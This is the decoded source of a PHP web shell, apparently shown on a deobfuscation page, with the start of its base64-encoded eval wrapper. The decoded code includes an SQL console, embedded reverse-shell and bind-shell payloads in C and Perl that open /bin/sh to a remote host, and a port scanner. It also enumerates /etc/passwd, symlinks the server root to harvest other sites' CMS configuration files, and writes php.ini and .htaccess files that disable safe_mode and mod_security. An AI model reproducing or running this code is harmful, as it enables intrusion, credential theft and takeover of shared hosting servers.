$db->query(@$_POST[\'p3\']);
if($db->res !== false) {
$title = false;
echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo \'<tr>\';
foreach($item as $key => $value)
echo \'<th>\'.$key.\'</th>\';
reset($item);
$title=true;
echo \'</tr><tr>\';
$line = 2;
}
echo \'<tr class="l\'.$line.\'">\';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo \'<td><i>null</i></td>\';
else
echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
}
echo \'</tr>\';
}
echo \'</table>\';
} else {
echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
}
}
echo "<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>".@htmlspecialchars($_POST[\'p3\'])."</textarea><br/><input type=submit value=\'Execute\'>";
echo "</td></tr>";
}
echo "</table></form><br/><form onsubmit=\'document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
if(@$_POST[\'p1\'] == \'loadfile\') {
$db->query("SELECT LOAD_FILE(\'".addslashes($_POST[\'p2\'])."\') as file");
$file = $db->fetch();
echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
}
}
echo \'</div>\';
printFooter();
}
function actionNetwork() {
printHeader();
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo \'<h1>Network tools</h1><div class=content>
<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
<br /><span>Bind port to /bin/sh</span><br/>
Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Str4what\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
</form>
<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
<br /><br /><span>Back-connect to</span><br/>
Server: <input type=\'text\' name=\'server\' value="\'.$_SERVER[\'REMOTE_ADDR\'].\'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
</form><br>\';
if(isset($_POST[\'p1\'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
if($w) {
@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
@fclose($w);
}
}
if($_POST[\'p1\'] == \'bpc\') {
cf("/tmp/bp.c",$bind_port_c);
$out = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$out .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
}
if($_POST[\'p1\'] == \'bpp\') {
cf("/tmp/bp.pl",$bind_port_p);
$out = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
}
if($_POST[\'p1\'] == \'bcc\') {
cf("/tmp/bc.c",$back_connect_c);
$out = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$out .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
}
if($_POST[\'p1\'] == \'bcp\') {
cf("/tmp/bc.pl",$back_connect_p);
$out = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
}
}
echo \'</div>\';
printFooter();
}
function actionPortScanner() {
printHeader();
echo \'<h1>Port Scanner</h1>\';
echo \'<div class="content">\';
echo \'<form action="" method="post">\';
if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
$start = strip_tags($_POST[\'start\']);
$end = strip_tags($_POST[\'end\']);
$host = strip_tags($_POST[\'host\']);
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo \'Port \'.$i.\' is <font color=green>open</font><br>\';
}
flush();
}
} else {
echo \'<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type="hidden" name="charset" value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
Host: <input type="text" name="host" value="localhost"/><br /><br />
Port start: <input type="text" name="start" value="0"/><br /><br />
Port end:<input type="text" name="end" value="5000"/><br /><br />
<input type="submit" value="Scan Ports" />
</form></center><br /><br />\';
}
echo \'</div>\';
printFooter();
}
function actionReadable() {
printHeader();
echo \'<h1>Readable Dirs</h1>\';
echo \'<div class="content">\';
$sm = ini_get(\'safe_mode\');
if($sm) {
echo \'<br /><b>Error: safe_mode = on</b><br /><br />\';
} else {
@$passwd = fopen(\'/etc/passwd\',\'r\');
if (!$passwd) {
echo \'<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />\';
} else {
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd)) {
$str = fgets($passwd);
if ($i > 35) {
$pos = strpos($str,\':\');
$username = substr($str,0,$pos);
$dirz = \'/home/\'.$username.\'/public_html/\';
if (($username != \'\')) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
echo \'<br><br>\';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
foreach ($users as $user) {
$path = "/home/$user/public_html/";
echo $path."<br>";
}
echo "<br /><br /><br />[+] Complete...
"."<br />";
}
}
echo \'</div>\';
printFooter();
}
function actionSymlink() {
printHeader();
echo \'<h1>Symlink</h1>\';
$furl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$expld = explode(\'/\',$furl );
$burl =str_replace(end($expld),\'\',$furl);
echo \'<div class="content"><center>
<h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
[ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] -
[ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>\';
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){
echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align=center class=\'main\' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
$unk = array();
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$unk[] = $domains[1][0];
flush();
}
}
}
$count=1;
$unk = array_unique($unk);
$l=0;
foreach($unk as $d){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
echo "<tr".($l?\' class=l1\':\'\')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user[\'name\']."</td></tr>";
flush();
$count++;
$l=$l?0:1;
}
echo "</table>";
}
echo "</center>";
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'whole\')
{
echo "<center>";
@mkdir(\'sym\',0777);
$hdt = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp =@fopen (\'sym/.htaccess\',\'w\');
fwrite($hfp ,$hdt);
if(function_exists(\'symlink\')) {
@symlink(\'/\',\'sym/root\');
}
$d0mains = @file(\'/etc/named.conf\');
if(!$d0mains) {
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$count=1;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi(\'zone\',$d0main)){
preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$l=0;
foreach($mck as $d) {
$user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$d));
$ddt = $user[\'name\'];
//@symlink(\'/\',\'sym/root\');
$ddt = $d;
if(@eregi("\.ir",$d) or @eregi("\.il",$d)) {
$ddt = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$d.\'</div>\';
}
echo "<tr".($l?\' class=l1\':\'\')."><td>".$count++."</td><td><a target=\'_blank\' href=http://".$d.\'/>\'.$ddt.\' </a></td><td>\'.$user[\'name\']."</td><td><a href=\'sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'>symlink </a></td></tr>";
flush();
$l=$l?0:1;
}
echo \'</table>\';
}
echo "</center>";
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'config\')
{
echo "<center>";
@mkdir(\'sym\',0777);
$hdt = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp = @fopen (\'sym/.htaccess\',\'w\');
@fwrite($hfp ,$hdt);
if(function_exists(\'symlink\')) {
@symlink(\'/\',\'sym/root\');
}
$d0mains = @file(\'/etc/named.conf\');
if(!$d0mains) {
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align=\'center\' width=\'40%\' class=\'main\' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
$count = 1;
$l=0;
foreach($d0mains as $d0main){
if(@eregi(\'zone\',$d0main)){
preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0]))>2){
$user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain[1][0]));
$c1 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/wp-config.php\';
$ch01 = get_headers($c1);
$cf01 = $ch01[0];
$c2 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/blog/wp-config.php\';
$ch02 = get_headers($c2);
$cf02 = $ch02[0];
$c3 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/configuration.php\';
$ch03 = get_headers($c3);
$cf03 = $ch03[0];
$c4 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/joomla/configuration.php\';
$ch04 = get_headers($c4);
$cf04 = $ch04[0];
$c5 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/includes/config.php\';
$ch05 = get_headers($c5);
$cf05 = $ch05[0];
$c6 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/vb/includes/config.php\';
$ch06 = get_headers($c6);
$cf06 = $ch06[0];
$c7 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/forum/includes/config.php\';
$ch07 = get_headers($c7);
$cf07 = $ch07[0];
$c8 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'public_html/clients/configuration.php\';
$ch08 = get_headers($c8);
$cf08 = $ch08[0];
$c9 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/support/configuration.php\';
$ch09 = get_headers($c9);
$cf09 = $ch09[0];
$c10 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
$ch10 = get_headers($c10);
$cf10 = $ch10[0];
$c11 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/submitticket.php\';
$ch11 = get_headers($c11);
$cf11 = $ch11[0];
$c12 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
$ch12 = get_headers($c12);
$cf12 = $ch12[0];
$c13 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/includes/configure.php\';
$ch13 = get_headers($c13);
$cf13 = $ch13[0];
$c14 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/include/app_config.php\';
$ch14 = get_headers($c14);
$cf14 = $ch14[0];
$c15 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/sites/default/settings.php\';
$ch15 = get_headers($c15);
$cf15 = $ch15[0];
$out = \' \';
if(strpos($cf01,\'200\') == true) { $out = "<a href=\'".$c1."\' target=\'_blank\'>Wordpress</a>"; }
elseif(strpos($cf02,\'200\') == true) { $out = "<a href=\'".$c2."\' target=\'_blank\'>Wordpress</a>"; }
elseif(strpos($cf03,\'200\') == true && strpos($cf11,\'200\') == true) { $out = " <a href=\'".$c11."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf09,\'200\') == true) { $out = " <a href=\'".$c9."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf10,\'200\') == true) { $out = " <a href=\'".$c10."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf03,\'200\') == true) { $out = " <a href=\'".$c3."\' target=\'_blank\'>Joomla</a>"; }
elseif(strpos($cf04,\'200\') == true) { $out = " <a href=\'".$c4."\' target=\'_blank\'>Joomla</a>"; }
elseif(strpos($cf05,\'200\') == true) { $out = " <a href=\'".$c5."\' target=\'_blank\'>vBulletin</a>"; }
elseif(strpos($cf06,\'200\') == true) { $out = " <a href=\'".$c6."\' target=\'_blank\'>vBulletin</a>"; }
elseif(strpos($cf07,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>vBulletin</a>"; }
elseif(strpos($cf08,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>"; }
elseif(strpos($cf12,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>"; }
elseif(strpos($cf13,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>osCommerce/Zen Cart</a>"; }
elseif(strpos($cf14,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>Magento</a>"; }
elseif(strpos($cf15,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>Drupal</a>"; }
else {
continue;
}
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td>\'.$count++.\'</td><td><a href=http://www.\'.$domain[1][0].\'/>\'.$domain[1][0].\'</a></td><td>\'.$user[\'name\'].\'</td><td>\'.$out.\'</td></tr>\';
flush();
$l=$l?0:1;
}
}
}
echo "</table>";
}
echo "</center>";
}
echo "</div>";
printFooter();
}
function actionBypass() {
printHeader();
echo \'<h1>Safe Mode</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br><br />";
echo \'<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>\';
if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>\');
fclose($fil);
}
if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
{
$fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
fwrite($fil,\'safe_mode=OFF
disable_functions=NONE\');
fclose($fil);
}
if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl\');
fclose($fil);
}
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
function actionDdos(){
printHeader();
echo \'<h1>DDoS</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
function actionMail(){
printHeader();
echo \'<h1>Mass Mailer and Mail Bomber</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
function actionInjector(){
printHeader();
echo \'<h1>Mass Code Injector</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
if( empty($_POST[\'a\']) )
if(isset($default_action) && function_exists(\'action\' . $default_action))
$_POST[\'a\'] = $default_action;
else
$_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
call_user_func(\'action\' . $_POST[\'a\']);
?>'
Did this file decode correctly?
Original Code
<?php
eval("?>".base64_decode("PD9waHANCg0KDQokY29sb3IgPSAiI0ZFQ0QwMSI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KQGRlZmluZSgnU0VMRl9QQVRIJywgX19GSUxFX18pOw0KaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsNCiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICBleGl0Ow0KfQ0KQHNlc3Npb25fc3RhcnQoKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdWRVJTSU9OJywgJ1ZlciAzLjAnKTsNCmlmKCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpICkgew0KICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsNCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCiAgICB9DQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7DQp9DQpmdW5jdGlvbiBwcmludExvZ2luKCkgew0KICAgIGVjaG8gJzxoMT5Ob3QgRm91bmQ8L2gxPg0KICAgICAgICAgIDxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPg0KICAgICAgICAgIDxocj4NCiAgICAgICAgICA8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicgUG9ydCA4MDwvYWRkcmVzcz4NCiAgICAgICAgICA8c3R5bGU+aW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9PC9zdHlsZT4nOw0KICAgIGV4aXQ7DQp9DQppZiggIWlzc2V0KCAkX1NFU1NJT05bJF9TRVJWRVJbJ0hUVFBfSE9TVCddXSApKQ0KICAgIGlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8DQogICAgICAgICggaXNzZXQoICRfR0VUWydwYXNzJ10gKSAmJiAoJF9HRVRbJ3Bhc3MnXSA9PSAkYXV0aF9wYXNzICkgKSApDQogICAgICAgICRfU0VTU0lPTlskX1NFUlZFUlsnSFRUUF9IT1NUJ11dID0gdHJ1ZTsNCiAgICBlbHNlDQogICAgICAgIHByaW50TG9naW4oKTsNCg0KaWYoIHN0cnRvbG93ZXIoIHN1YnN0cihQSFBfT1MsMCwzKSApID09ICJ3aW4iICkNCiAgICAkb3MgPSAnd2luJzsNCmVsc2UNCiAgICAkb3MgPSAnbml4JzsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsNCmlmKCBpc3NldCggJF9QT1NUWydjJ10gKSApDQogICAgQGNoZGlyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZiggJG9zID09ICd3aW4nKSB7DQogICAgJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOw0KICAgICRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KaWYoICRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApDQogICAgJGN3ZCAuPSAnLyc7DQogICAgDQppZigkb3MgPT0gJ3dpbicpIHsNCiAgICAkYWxpYXNlcyA9IGFycmF5KA0KICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLA0KICAgICAgICAiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwNCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsDQogICAgICAgICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwNCiAgICAgICAgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsDQogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLA0KICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsDQogICAgICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLA0KICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiDQogICAgKTsNCn0gZWxzZSB7DQogICAgJGFsaWFzZXMgPSBhcnJheSgNCiAgICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGEiLA0KICAgICAgICAibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwNCiAgICAgICAgICAic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwNCiAgICAgICAgIkZpbmQiID0+ICIiLA0KICAgICAgICAgICJmaW5kIGFsbCBzdWlkIGZpbGVzIi